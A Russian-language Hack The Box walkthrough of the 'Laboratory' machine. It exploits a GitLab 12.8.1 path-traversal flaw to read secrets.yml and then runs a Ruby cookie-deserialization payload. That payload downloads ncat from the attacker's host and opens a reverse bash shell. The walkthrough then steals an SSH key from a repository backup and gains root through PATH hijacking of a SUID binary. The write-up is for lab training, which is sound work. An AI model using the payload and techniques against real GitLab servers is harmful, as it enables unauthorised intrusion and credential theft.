Хакер - HTB Laboratory. Взламываем GitLab и учимся перехватывать пути в Linux
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Сканирование веба
- Точка входа
- Закрепление
- Продвижение
- Локальное повышение привилегий
В этот раз мы разберем легкую машину — Laboratory. На примере ее прохождения ты научишься эксплуатировать уязвимость в GitLab для произвольного чтения файлов и удаленного выполнения кода. Также мы покопаемся в репозиториях и повысим привилегии с помощью техники path hijacking.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
IP-адрес машины — 10.10.10.216, я при помощи строчки в /etc/hosts дам ей имя laboratory.htb.
Первым делом, конечно же, сканируем порты, чтобы понять, какие сервисы запущены на машине. В скрипте ниже утилита Nmap вызывается дважды: для быстрого сканирования и затем чтобы пройтись по найденным портам с применением скриптов.
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Нашлось три открытых порта:
- порт 22 (TCP) — служба SSH;
- порт 80 (HTTP) — веб‑сервер Apache 2.4.41;
- порт 443 (HTTPS) — веб‑сервер Apache 2.4.41.
Сканирование порта 443 преподносит нам приятный сюрприз. Поскольку он отвечает за общение по зашифрованному протоколу, в отчете о сканировании можно найти сертификат, а в сертификате еще один домен — git.laboratory.htb. Я тоже добавлю его в /etc/hosts:
10.10.10.216 git.laboratory.htb
При обращении по домену laboratory.htb мы ничего интересного не получаем, а вот на найденном git.laboratory.htb нас встречает GitLab.
Сканирование веба
GitLab — это система управления репозиториями кода для Git с собственной вики, системой отслеживания ошибок и другими функциями.

У нас есть возможность зарегистрироваться, что сразу и сделаем. Это позволит нам получить доступ к большему числу функций, чем у гостей. Поскольку мы имеем дело с серьезным проектом, «тыкать кавычки» в каждую форму смысла нет. Вместо этого стоит поискать информацию об уязвимостях и готовые эксплоиты. Первый шаг на пути к этому — узнать версию продукта. Обычно она приводится на страницах вроде About или в данном случае — Help.

Мы узнаем версию GitLab CE — 12.8.1.
ТОЧКА ВХОДА
В реальных условиях лучше всего искать эксплоиты при помощи Google, поскольку этот поисковик заглядывает и в личные блоги, и в самые разные отчеты. Но для ускорения можно пользоваться специализированными базами вроде Exploit-DB — скорее всего, там найдутся подходящие варианты. Если ты используешь Kali Linux, то эта база у тебя уже есть и для поиска можно использовать утилиту searchsploit.

Как видишь, мы нашли сразу несколько эксплоитов, хотя для нужной версии GitLab ничего нет. Зато есть для более новой (номер 48431), а значит, скорее всего, подойдет и к нашей.
Эксплуатируемая уязвимость срабатывает при перемещении задачи между проектами GitLab и приводит к тому, что мы можем читать файлы на удаленной машине. Однако у меня ни одна из реализаций этого эксплоита не заработала, поэтому придется все делать в ручном режиме.
Для этого нам нужно изначальное исследование, доказательство работоспособности (proof of concept) этой уязвимости. Чтобы найти его, обращаемся в Google. Нам повезло, на HackerOne (самая известная платформа для bug bounty) нашелся целый отчет. В нем рассказано, как не только читать файлы, но и получить удаленное выполнение кода (RCE)!

Для получения RCE нам нужно иметь консоль Ruby on Rails и значение secret_key_base из файла /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml. Именно для получения содержимого этого файла мы будем использовать первую уязвимость, которая позволяет читать произвольные файлы.
ЗАКРЕПЛЕНИЕ
Итак, читаем файл. Создадим два проекта в GitLab, а потом перейдем к вкладке Issues и выберем New Issue. Там указываем следующее значение в качестве описания и таким образом воспользуемся уязвимостью типа path traversal.



Далее необходимо указать целевой проект (который мы создали вторым), после чего secrets.yml можно будет загружать. Так мы получаем нужный для RCE секретный параметр.




Приступим к получению удаленного выполнения кода. Для этого нам нужно установить gitlab-rails в Docker. После установки запускаем.
sudo docker run --rm -d -p 4443:443 -p 8090:80 -p 2222:22 --name gitlab gitlab/gitlab-ce:12.8.1-ce.0
sudo docker images
sudo docker run 719e7e45b1e2

А теперь выполним bash в данном образе.
sudo docker ps
sudo docker exec -ti 2b2261d24147 bash


Нам нужно заменить файл /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml тем, который мы смогли получить с удаленного хоста. Загружаем консоль командой gilab-rails console и выполняем команды, указанные в отчете. Сначала запустим листенер. Я советую использовать оболочку rlwrap, а в качестве самого листенера используем известный netcat.
apt install rlwrap
rlwrap nc -lvp [port]
Способы создать бэкконнект‑шелл не сработали, а вот команда wget выполнилась, поэтому для создания бэкконнекта я загрузил со своего хоста статически собранный ncat, назначил ему права на выполнение и успешно подключился.
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `wget 10.10.14.75:8000/ncat -O /tmp/ncat ; chmod +x /tmp/ncat ; /tmp/ncat -e /bin/bash 10.10.14.75 4321` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]
После выполнения этого кода мы получим cookie, с помощью которых создадим бэкконнект.
curl -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhv...--...be65"

Чтобы получить интерактивный реверс‑шелл, продублируем бэкконнект из уже созданного.

ПРОДВИЖЕНИЕ
Поскольку мы имеем дело с GitLab, первым делом проверяем репозитории. Для удобства бэкапим, загружаем на свой хост, а там уже анализируем.
gitlab-backup

Мое внимание сразу привлек репозиторий с кричащим названием securewebsite пользователя dexter. После загрузки архива на свой хост находим в нем ключ SSH.

Задаем этому ключу нужные права и уже можем подключиться по SSH.
chmod 0600 id_rsa
ssh -i id_rsa dexter@laboratory.htb

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь в ход идут скрипты PEASS, которые помогают найти путь для дальнейшего продвижения. Запускаем на хосте LinPEAS и находим приложение с выставленным битом SUID.

Когда у файла установлен атрибут setuid, обычный пользователь, запускающий этот файл на исполнение, получает повышение прав до пользователя‑владельца файла (в данном случае root) в рамках запущенного процесса.
После получения повышенных прав приложение может выполнять задачи, выполнение которых обычному пользователю недоступно. В базе GTFOBins этого файла не находим, поэтому посмотрим, использует ли это приложение еще какие‑нибудь вызовы.
INFO
GTFOBins — база двоичных файлов Unix, которые можно использовать для обхода локальных ограничений безопасности в неправильно настроенных системах.
Чтобы посмотреть вызовы, которые приложение делает к общим библиотекам, используем ltrace.

Из вывода ltrace видим, что при вызове команды chmod указывается неполный путь к файлу программы. А это значит, что система будет поочередно искать этот файл в каждой из директорий, которые указаны в переменной окружения PATH.
С помощью команды export мы можем дописать в начало переменной путь к любой своей директории, тогда система сначала выполнит тот chmod, который будет там расположен. В этот файл мы запишем какой угодно свой код. К примеру, вызов bash. Это даст нам консоль в контексте root. Этот метод известен как path hijacking.
Cоздаем свой шелл в директории /tmp и называем chmod, после чего добавим директорию /tmp в переменную среды PATH, чтобы при вызове команды chmod выполнился наш файл.

После выполнения docker-security мы получим привилегированную консоль.

Машина захвачена, у нас есть полный контроль над ней.
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei